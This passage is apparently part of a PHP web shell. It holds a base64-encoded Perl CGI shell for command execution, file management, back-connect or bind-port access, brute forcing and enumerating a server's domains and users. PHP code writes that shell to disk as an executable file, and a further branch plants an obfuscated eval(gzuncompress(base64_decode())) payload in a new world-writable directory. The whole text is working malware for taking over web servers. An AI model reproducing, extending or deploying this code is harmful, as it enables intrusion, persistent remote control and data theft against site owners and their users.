IiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==';
1755 $file = fopen("telnet.cok", "w+");
1756 $write = fwrite($file, base64_decode($cgi2012));
1757 fclose($file);
1758 chmod("telnet.cok", 0755);
1759 echo "<iframe src=telnet/telnet.cok width=96% height=76% frameborder=0></iframe></div>";
1760}
1761# x=mysql2
1762elseif (isset($_GET['x']) && ($_GET['x'] == 'mysql2')) {
1763 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ MYSQL MANAGER ]:=O</span></b></nobr><br/><br/> ";
1764 echo "</br></br><center><b><span class='b11'> You Can Go To : <a href='angel/db.php' target='_blank'>[+] HERE [+]</a></center></span></br>";
1765 if (!is_dir('angel')) {
1766 $mk = @mkdir('angel', 0777);
1767 @fwrite($f, $c);
1768 $f2 = @fopen('angel/db.php', 'w');
1769 $sml_db = "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUx